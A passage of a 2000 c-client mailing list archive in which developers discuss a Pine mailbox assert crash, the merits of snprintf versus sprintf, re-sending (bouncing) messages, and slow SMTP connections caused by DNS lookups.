by the destination MUA, and never have continuation. The code which calculated the sizes didn't check for continuation. The problem was discovered and fixed several months ago in the imap-2000 development cycle. There have been several teething pains having to do with the size calculations in the (much) faster mailbox rewrite algorithm that was introduced in imap-4.6. The old algorithm, which used a tmpfile(), didn't need to check sizes; it just wrote the tmpfile and used the resulting size. I'm sorry that these problems happened. It was a large section of new code. It got quite a bit of testing, however some obscure cases were missed. That's why there are beta tests. > Why > in this day and age is there so much use of buffer overflow magnets like > sprintf(3) and gets(3) etc? Did you look to see what the gets() call was? gets() is used in only one program in the entire c-client distribution: a sample program called mtest, which nobody actually uses in real life. I hope that you don't believe that changing all occurances of sprintf() to snprintf() in network protocol applications fixes buffer overflow security bugs. It creates new, much more obscure ones. snprintf() just truncates the text. Really great idea to have a root level program validate a truncated text, and let another routine act upon a less-truncated version of that text. If you had a version of snprintf() that would abort() instead of silently truncating the text, you might have an argument. But that isn't how snprintf() works. There's also the small detail that snprintf() doesn't exist on all platforms, including current offerings from major vendors. The solution to buffer overflows is to fix the buffer overflow, not sweep it under the rug with non-solutions like snprintf(). From pinedev@shivax2.cac.washington.edu Thu Sep 7 16:31:37 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Sep 2000 16:31:37 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA01525 for ; Thu, 7 Sep 2000 16:31:35 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA16978; Thu, 7 Sep 2000 16:31:33 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id QAA23756; Thu, 7 Sep 2000 16:30:09 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id QAA20150 for ; Thu, 7 Sep 2000 16:28:41 -0700 Received: from cancerous.braincells.com (root@braincells.com [165.254.18.21]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA01813 for ; Thu, 7 Sep 2000 16:28:35 -0700 Received: from cancerous.braincells.com (jaldhar@cancerous.braincells.com [165.254.18.21]) by cancerous.braincells.com (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id UAA18362; Thu, 7 Sep 2000 20:28:51 -0400 Message-Id: Date: Thu, 7 Sep 2000 20:28:49 -0400 (EDT) Reply-To: "Jaldhar H. Vyas" Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Jaldhar H. Vyas" To: Mark Crispin Cc: c-client@u.washington.edu Subject: re: buffer overflow in c-client? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: jaldhar@cancerous.braincells.com X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 7 Sep 2000, Mark Crispin wrote: > The X-Keywords problem is not a buffer overflow. > > Repeat. The X-Keywords problem is *NOT* a buffer overflow. I know that we > live in a world where every bug is called a buffer overflow security bug, but > that doesn't mean it so. > > Did you notice that Pine crashed voluntarily with a message "Pine Panic: > header size inconsistant"? This means that an assert-style bugtrap occurred, > not a buffer overflow. > I'm glad it's not a buffer overflow. But it is still a cause for concern. It seems to be corrupting peoples mailboxes. Or causing pine to stop which is highly annoying to a user. And what of third-party products that use c-client (such as roxen web server and PHP?) If they aren't doing similar asserts they may be at risk. And I think it is reasonable for them to assume c-client is not munging the data they feed it. > The problem only affects imap-4.6 and imap-4.7. It does not affect imap-2000. > The assert failure was that a preliminary calculation of the size of the > header of a message did not match the subsequent actual size. The size > calculation is used to determine if the rewritten mailbox will fit within disk > quota. It also validates that the overwrite and buffer management is going > correctly. If it does not match the subsequent actual size, then there is a > serious question about the integrity of the data. The program deliberately > crashed to avoid potentially causing worse damage. > > In this particular case, the right thing would have happened if it had ignored > the problem and continued with the rewrite. But the code didn't know that. > As a distribution vendor, I have two choices 1. Not bother about the problem. 2. Immediately move to imap2000 3. Backport the fix to imap 4.7c 1 is out of the question for our users. 2, could be done. I have been packaging the release candidates but you seem to be so close to a full release I really wanted to wait for that. What do I need to do for 3? > The specific cause of the problem was an internal header line (specifically, > Status, X-Status, X-UID, X-Keywords, X-IMAP, X-IMAPbase) which had a > continuation line. Internal header lines are an unfortunate artifact of the > way that the standard UNIX mailbox format works. They are supposedly only > written by the destination MUA, and never have continuation. The code which > calculated the sizes didn't check for continuation. > > The problem was discovered and fixed several months ago in the imap-2000 > development cycle. There have been several teething pains having to do with > the size calculations in the (much) faster mailbox rewrite algorithm that was > introduced in imap-4.6. The old algorithm, which used a tmpfile(), didn't > need to check sizes; it just wrote the tmpfile and used the resulting size. > > I'm sorry that these problems happened. It was a large section of new code. > It got quite a bit of testing, however some obscure cases were missed. That's > why there are beta tests. > No problem. Let he who is without bugs cast the first stone. :-) > > Why > > in this day and age is there so much use of buffer overflow magnets like > > sprintf(3) and gets(3) etc? > > Did you look to see what the gets() call was? gets() is used in only one > program in the entire c-client distribution: a sample program called mtest, > which nobody actually uses in real life. > Ok. > I hope that you don't believe that changing all occurances of sprintf() to > snprintf() in network protocol applications fixes buffer overflow security > bugs. It creates new, much more obscure ones. snprintf() just truncates the > text. Really great idea to have a root level program validate a truncated > text, and let another routine act upon a less-truncated version of that text. > snprintf returns -1 if truncation occured. A defensive programmer would check the return value and not let the program proceed at that stage. > If you had a version of snprintf() that would abort() instead of silently > truncating the text, you might have an argument. But that isn't how > snprintf() works. > > There's also the small detail that snprintf() doesn't exist on all platforms, > including current offerings from major vendors. > There are a number of free (not just GPL but less restrictive licenses too.) implementations of snprintf available. You could include one in ansilib like you do for strtok etc. > The solution to buffer overflows is to fix the buffer overflow, not sweep it > under the rug with non-solutions like snprintf(). > I'm not saying that snprintf is the magic bullet that will fix everything. But the bounds checking it provides is a prudent measure. Most security experts I've talked to agree. Anyway, I'm relieved there isn't a bug and will inform my users. -- Jaldhar H. Vyas From pinedev@shivax2.cac.washington.edu Thu Sep 7 17:28:19 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 7 Sep 2000 17:28:18 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id RAA02554 for ; Thu, 7 Sep 2000 17:28:17 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA28329; Thu, 7 Sep 2000 17:28:15 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id RAA08867; Thu, 7 Sep 2000 17:27:19 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id RAA59460 for ; Thu, 7 Sep 2000 17:25:55 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA02808 for ; Thu, 7 Sep 2000 17:25:54 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id RAA24660; Thu, 7 Sep 2000 17:25:54 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (yakitori@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id RAA15630; Thu, 7 Sep 2000 17:25:54 -0700 Message-Id: Date: Thu, 7 Sep 2000 16:42:17 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: "Jaldhar H. Vyas" Cc: c-client@u.washington.edu Subject: re: buffer overflow in c-client? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 7 Sep 2000 20:28:49 -0400 (EDT), Jaldhar H. Vyas wrote: > I'm glad it's not a buffer overflow. But it is still a cause for > concern. It seems to be corrupting peoples mailboxes. The "corruption" consists of junk (the endof some other message) appended to the end of a message, and possible duplication of messages after that point. No data is lost; it's "extra junk" which is usually readily identifiable > Or causing pine > to stop which is highly annoying to a user. This is the real problem; there is known bad message header data that triggers the assert[-equivalent]. There is other known bad message header data that does the same thing. All known problems of this nature are fixed in imap-2000. > And what of > third-party products that use c-client (such as roxen web server and > PHP?) If they aren't doing similar asserts they may be at risk. The problem isn't that they aren't doing the asserts; the problem is c-client doing the assert. If c-client ignored the condition and proceeded, the right thing probably would have happened. > 1. Not bother about the problem. > 2. Immediately move to imap2000 > 3. Backport the fix to imap 4.7c > 1 is out of the question for our users. 2, could be done. I have been > packaging the release candidates but you seem to be so close to a full > release I really wanted to wait for that. What do I need to do for 3? I don't consider a backport to be practical. It's not a "fix", it is "fixes". In some cases, new code had to be written. Much of the work in imap-2000 was to identify all of the occurrances of these calculation errors and fix them. If you really want to, you could remove the assert from imap-4.7 unix.c: if (j != elt->private.data) fatal ("header size inconsistent"); However, I *won't* take responsibility for the result; in a different circumstance that assert may protect the mailbox from damage. In other words, you're on your own if you do that. I consider (2) to be the only viable option. > snprintf returns -1 if truncation occured. A defensive programmer would > check the return value and not let the program proceed at that stage. Not so fast. Microsoft does -1. The ISO C standard says: [...] The snprintf function returns the number of characters that would have been written had n been sufficiently large, not counting the terminating null character. Thus, the null-terminated output has been completely written if and only if the returned value is less than n. Some Linux systems do -1, others do the ISO behavior. > There are a number of free (not just GPL but less restrictive licenses > too.) implementations of snprintf available. You could include one in > ansilib like you do for strtok etc. Are you volunteering to supply an snprintf() implementation for all supported c-client platforms that require it (yes, we really do have people using those wierd ones), including testing which platforms have it and which don't? Trust me. You don't want to go there. The ansilib functions are tiny by comparison with snprintf(). None of them use varargs either. Oh dear, we have to deal with platform-dependent stack usage. I don't want to go there either... :-) > I'm not saying that snprintf is the magic bullet that will fix everything. > But the bounds checking it provides is a prudent measure. Most security > experts I've talked to agree. I'm going to have a major belly laugh at the first security bug caused by snprintf(). If people will go to the extreme of figuring out what machine code to shove into an overflowed stack, they shouldn't stop at a mere truncation problem. Hey, it'd be portable, no more being immune because you're not running Linux on an Intel CPU! Better to read the code carefully and make sure that it can't happen. > Anyway, I'm relieved there isn't a bug and will inform my users. There is legitimate reason to contend that it represents a denial-of-service problem, which is a form of security problem. From pinedev@shivax2.cac.washington.edu Fri Sep 8 04:21:08 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 8 Sep 2000 04:21:08 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id EAA29345 for ; Fri, 8 Sep 2000 04:21:07 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA08346; Fri, 8 Sep 2000 04:21:04 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id EAA17894; Fri, 8 Sep 2000 04:20:20 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id EAA45892 for ; Fri, 8 Sep 2000 04:18:30 -0700 Received: from europa.gatecom.com (IDENT:root@[209.69.204.245]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id EAA01298 for ; Fri, 8 Sep 2000 04:18:28 -0700 Received: (from ptr@localhost) by europa.gatecom.com (8.9.3/8.9.3) id UAA19680; Thu, 7 Sep 2000 20:16:32 -0400 Message-Id: <200009080016.UAA19680@europa.gatecom.com> Date: Thu, 07 Sep 2000 20:16:32 EDT Reply-To: ptr@gatecom.com Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: J T Breitner To: c-client@u.washington.edu Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-Remote-Host: 10.1.1.8 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 7 Sep 2000 13:07:56 -0400 (EDT), Jaldhar H. Vyas jaldhar@debian.org wrote: > I've run the c-client source through a scanner called its4 which looks for > potentially insecure programming practices. It was most unsettling. Why > in this day and age is there so much use of buffer overflow magnets like > sprintf(3) and gets(3) etc? They're used in this day and age because they work. Sure, sprintf is potentially dangerous when you're blindly manipulating data. A particularily bad use of sprintf is to use it to process something such as a raw HTTP query string. But then, a screwdriver is a dangerous tool too, especially if you put the pointy end at your chest and run around in a dark room full of furniture. Personally, I try to avoid both situations. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Sep 11 10:53:54 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Sep 2000 10:53:53 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id KAA25855 for ; Mon, 11 Sep 2000 10:53:52 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA23846; Mon, 11 Sep 2000 10:53:50 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA23407; Mon, 11 Sep 2000 10:52:15 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA147000 for ; Mon, 11 Sep 2000 10:49:54 -0700 Received: from smaug.netropolis.dk (IDENT:root@smaug-if0.netropolis.dk [129.142.224.3]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA27375 for ; Mon, 11 Sep 2000 10:49:49 -0700 Received: from netropolis.dk (IDENT:jonasn@[212.130.21.251]) by smaug.netropolis.dk (8.10.0/8.10.0) with ESMTP id e8BHtiG02696 for ; Mon, 11 Sep 2000 19:55:45 +0200 Message-Id: <39BD1ADD.8D523081@netropolis.dk> Date: Mon, 11 Sep 2000 19:48:13 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jonas Nielsen To: c-client@u.washington.edu Subject: Re: Bounce in c-client MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: jonasn@smaug.netropolis.dk X-Accept-Language: en X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Mark Crispin wrote: > The way to implement "bounce" is to compose a new message, with the text being > the RFC822.TEXT and the env->remail being the RFC822.HEADER, e.g.: > env->remail = cpystr (mail_fetchheader (stream,msgno)); > body->contents.text.data = /* get body of message */ > cpystr (mail_fetchtext_full (stream,msgno,&body->contents.text.size,NIL)); If i use this the queue contains the correct Resent-* fields like a bounced mail in a pine mail queue. However when i try to read the queue using rfc822_parse_msg the resent field of the returned mail is a null pointer. How do I (and pine) handle this ? From pinedev@shivax2.cac.washington.edu Mon Sep 11 12:20:32 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 11 Sep 2000 12:20:32 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id MAA23981 for ; Mon, 11 Sep 2000 12:20:29 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA26978; Mon, 11 Sep 2000 12:20:22 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id MAA08796; Mon, 11 Sep 2000 12:18:46 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id MAA40196 for ; Mon, 11 Sep 2000 12:17:41 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (stuart@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id MAA08875 for ; Mon, 11 Sep 2000 12:17:40 -0700 Message-Id: Date: Mon, 11 Sep 2000 12:15:15 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Jonas Nielsen Cc: c-client@u.washington.edu Subject: Re: Bounce in c-client In-Reply-To: <39BD1ADD.8D523081@netropolis.dk> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 11 Sep 2000 19:48:13 +0200, Jonas Nielsen wrote: > If i use this the queue contains the correct Resent-* fields like a > bounced mail in a pine mail queue. However when i try to read the queue > using rfc822_parse_msg the resent field of the returned mail is a null > pointer. The only way to get the ReSent headers is to use mail_fetch_header() with the "lines" argument, and then process the header lines yourself. They won't get placed into the ENVELOPE structure for you. From pinedev@shivax2.cac.washington.edu Wed Sep 13 15:30:44 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Sep 2000 15:30:44 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA17837 for ; Wed, 13 Sep 2000 15:30:43 -0700 (PDT) Received: from lists5.u.washington.edu (root@lists5.u.washington.edu [140.142.56.6]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA09183; Wed, 13 Sep 2000 15:30:41 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists5.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA13447; Wed, 13 Sep 2000 15:28:09 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA57846 for ; Wed, 13 Sep 2000 15:26:31 -0700 Received: from anchor-post-32.mail.demon.net (anchor-post-32.mail.demon.net [194.217.242.90]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA03345 for ; Wed, 13 Sep 2000 15:26:29 -0700 Received: from tunbury.demon.co.uk ([194.222.23.6] helo=tunbury) by anchor-post-32.mail.demon.net with smtp (Exim 2.12 #1) id 13ZKz0-00066e-0W for c-client@u.washington.edu; Wed, 13 Sep 2000 23:26:22 +0100 Message-Id: <001601c01dd2$291f7900$0617dec2@demon.co.uk> Date: Wed, 13 Sep 2000 23:29:20 +0100 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Mark Elvers" To: Subject: Time to send a message via SMTP MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2014.211 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I have an intermittent problem using the c-client library which I would appreciate some suggestions on. I'm sure it's not a problem with the library, but I need understand what the library is doing at a particular point to find the cause of the problem. Previously, I've been using IMAP 4.7, and more recently IMAP 2000 (rel cand 6) The problem can easily be shown in mtest by sending a simple "Hello World" email, where I see a 40-50 second delay following the [Trying IP address [x.x.x.x]] and before the [Ok] prompt; at other times the exact same sequence is completed within 1-2 seconds. At the times when the delay occurs, I've tried to telnet to the SMTP server at port 25 and I get an immediate response back. Any suggestions would be greatly received. --mte -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Sep 13 15:39:28 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Sep 2000 15:39:27 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id PAA30305 for ; Wed, 13 Sep 2000 15:39:26 -0700 (PDT) Received: from lists4.u.washington.edu (root@lists4.u.washington.edu [140.142.56.2]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA21035; Wed, 13 Sep 2000 15:39:24 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA01305; Wed, 13 Sep 2000 15:38:21 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA67286 for ; Wed, 13 Sep 2000 15:37:55 -0700 Received: from ns2.uu.nl (ns2.uu.nl [131.211.4.6]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA02636 for ; Wed, 13 Sep 2000 15:37:54 -0700 Received: from [192.168.100.2] (ascend146.accu.uu.nl [131.211.250.46]) by ns2.uu.nl (Postfix) with ESMTP id E5A83800E; Thu, 14 Sep 2000 00:37:52 +0200 (METDST) Message-Id: Date: Thu, 14 Sep 2000 00:37:55 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Rudi van Houten To: Cc: Subject: Re: Time to send a message via SMTP In-Reply-To: <001601c01dd2$291f7900$0617dec2@demon.co.uk> References: <001601c01dd2$291f7900$0617dec2@demon.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" ; format="flowed" X-Sender: houten@mail.math.uu.nl X-motto: (-: Experience is the harvest of many mistakes :-) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN At 23:29 +0100 13/9/00, Mark Elvers wrote: >I have an intermittent problem using the c-client library which I would >appreciate some suggestions on. I'm sure it's not a problem with the >library, but I need understand what the library is doing at a particular >point to find the cause of the problem. Previously, I've been using IMAP >4.7, and more recently IMAP 2000 (rel cand 6) > >The problem can easily be shown in mtest by sending a simple "Hello World" >email, where I see a 40-50 second delay following the > >[Trying IP address [x.x.x.x]] > >and before the > >[Ok] > >prompt; at other times the exact same sequence is completed within 1-2 >seconds. You don't give specific addresses, or even protocol logs. So I am wildly guessing: Is the contacted SMTP server trying to resolve YOUR address?? The first time that will take some time (minutes sometimes), whithin the time the records are hold in the DNS cache response will be instantly. After timeout of the record waiting will start anew. -- Rudi van Houten >>> ;-) Fantasie is de mens gegeven als vergoeding <<< wiskunde k.512 >>> voor wat hij niet is, en gevoel voor humor <<< Tel. 1418 >>> om hem te troosten met wat hij is. <<< From pinedev@shivax2.cac.washington.edu Wed Sep 13 16:43:31 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 13 Sep 2000 16:43:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id QAA25614 for ; Wed, 13 Sep 2000 16:43:30 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA11460; Wed, 13 Sep 2000 16:43:28 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id QAA15660; Wed, 13 Sep 2000 16:42:23 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id QAA57746 for ; Wed, 13 Sep 2000 16:41:54 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA22703 for ; Wed, 13 Sep 2000 16:41:53 -0700 Received: from mailhost1.u.washington.edu (mailhost1.u.washington.edu [140.142.32.2]) by mxout2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA25275; Wed, 13 Sep 2000 16:41:53 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pth@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id QAA08850; Wed, 13 Sep 2000 16:41:53 -0700 Message-Id: Date: Wed, 13 Sep 2000 16:39:47 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Rudi van Houten Cc: mtelvers@tunbury.demon.co.uk, c-client@u.washington.edu Subject: Re: Time to send a message via SMTP In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 14 Sep 2000 00:37:55 +0200, Rudi van Houten wrote: > You don't give specific addresses, or even protocol logs. So I am > wildly guessing: > Is the contacted SMTP server trying to resolve YOUR address?? The > first time that will take some time (minutes sometimes), whithin the > time the records are hold in the DNS cache response will be > instantly. After timeout of the record waiting will start anew. I agree that this is the most plausible explanation. If your application enables protocol debugging (by setting OP_DEBUG in the smtp_open() call), you can see what the server is doing and at what time. A long delay prior to the server banner is a good indication of DNS resolution delay. From pinedev@shivax2.cac.washington.edu Thu Sep 14 02:07:22 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 14 Sep 2000 02:07:21 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW99.08) with ESMTP id CAA05195 for ; Thu, 14 Sep 2000 02:07:20 -0700 (PDT) Received: from lists3.u.washington.edu (root@lists3.u.washington.edu [140.142.56.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA22058; Thu, 14 Sep 2000 02:07:18 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by lists3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id CAA24614; Thu, 14 Sep 2000 02:05:28 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id CAA127090 for ; Thu, 14 Sep 2000 02:04:26 -0700 Received: from anchor-post-32.mail.demon.net (anchor-post-32.mail.demon.net [194.217.242.90]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id CAA22129 for ; Thu, 14 Sep 2000 02:04:25 -0700 Received: from tunbury.demon.co.uk ([194.222.23.6] helo=tunbury) by anchor-post-32.mail.demon.net with smtp (Exim 2.12 #1) id 13ZUwR-000KuG-0W for c-client@u.washington.edu; Thu, 14 Sep 2000 10:04:24 +0100 Message-Id: <002001c01e2b$47d98a80$0617dec2@demon.co.uk> Date: Thu, 14 Sep 2000 10:07:10 +0100 Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Mark Elvers" To: Subject: RE: Time to send a message via SMTP In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By 